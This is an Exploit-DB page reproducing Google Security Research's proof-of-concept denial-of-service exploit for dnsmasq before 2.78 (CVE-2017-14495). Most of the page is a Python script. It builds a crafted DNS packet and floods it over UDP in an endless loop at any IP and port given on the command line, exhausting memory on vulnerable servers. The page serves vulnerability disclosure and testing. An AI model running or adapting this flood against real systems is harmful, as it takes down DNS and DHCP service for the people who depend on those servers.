Dnsmasq < 2.78 - Lack of free() Denial of Service

  • 作者： Google Security Research
    日期： 2017-10-02
  • 类别：
    平台：
  • 来源：https://www.exploit-db.com/exploits/42945/
  • '''
Sources:
https://raw.githubusercontent.com/google/security-research-pocs/master/vulnerabilities/dnsmasq/CVE-2017-14495.py
https://security.googleblog.com/2017/10/behind-masq-yet-more-dns-and-dhcp.html

dnsmasq is vulnerable only if one of the following option is specified: --add-mac, --add-cpe-id or --add-subnet.

'''

#!/usr/bin/python
#
# Copyright 2017 Google Inc
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# Authors:
#Fermin J. Serna <fjserna@google.com>
#Felix Wilhelm <fwilhelm@google.com>
#Gabriel Campana <gbrl@google.com>
#Kevin Hamacher <hamacher@google.com>
#Gynvael Coldwin <gynvael@google.com>
#Ron Bowes - Xoogler :/

import socket
import sys


def oom():
data = '''01 0d 08 1b 00 01 00 0000 00 00 02 00 00 29 04
00 00 29 00 00 00 03 0000 01 13 00 08 01 13 79
00 00 00 00 00
'''.replace(' ', '').replace('\n', '').decode('hex')
data = data.replace('\x00\x01\x13\x00', '\x7f\x00\x00\x01')
return data

if __name__ == '__main__':
if len(sys.argv) != 3:
print 'Usage: %s <ip> <port>' % sys.argv[0]
sys.exit(0)

ip = sys.argv[1]
port = int(sys.argv[2])

packet = oom()

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.setsockopt(socket.SOL_SOCKET,socket.SO_BROADCAST, 1)
while True:
s.sendto(packet, (ip, port))
#break
s.close()